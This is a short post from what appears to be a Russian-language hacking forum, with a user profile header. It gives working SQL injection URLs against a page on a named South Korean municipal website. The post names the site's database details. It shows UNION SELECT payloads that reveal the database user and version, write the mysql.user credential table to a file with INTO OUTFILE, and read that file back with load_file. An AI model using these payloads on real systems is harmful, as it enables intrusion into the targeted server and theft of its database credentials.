|
Участник форума
Регистрация: 27.10.2008
Сообщений: 215
Провел на форуме:
810079
Репутация:
90
|
|
Site: old.yangsan.go.kr
Database info: yangsan@localhost::yangsan::4.0.23-standard-log
http://old.yangsan.go.kr/yangsan-city/sub_1doc/news/toogo/view.php?id=-1074+union+select+1,2,3,4,concat_ws(0x3a3a,user(), database(),version()),6,7,8,9,10,11,12,13,14
Запись в файл:
http://old.yangsan.go.kr/yangsan-city/sub_1doc/news/toogo/view.php?id=-1074+union+select+1,2,3,4,concat_ws(0x3a,user,pass word),6,7,8,9,10,11,12,13,14+from+mysql.user+into+ outfile+'/tmp/mysql.user'
Чтение из файла:
http://old.yangsan.go.kr/yangsan-city/sub_1doc/news/toogo/view.php?id=-1074+union+select+1,2,3,4,load_file('/tmp/mysql.user'),6,7,8,9,10,11,12,13,14
|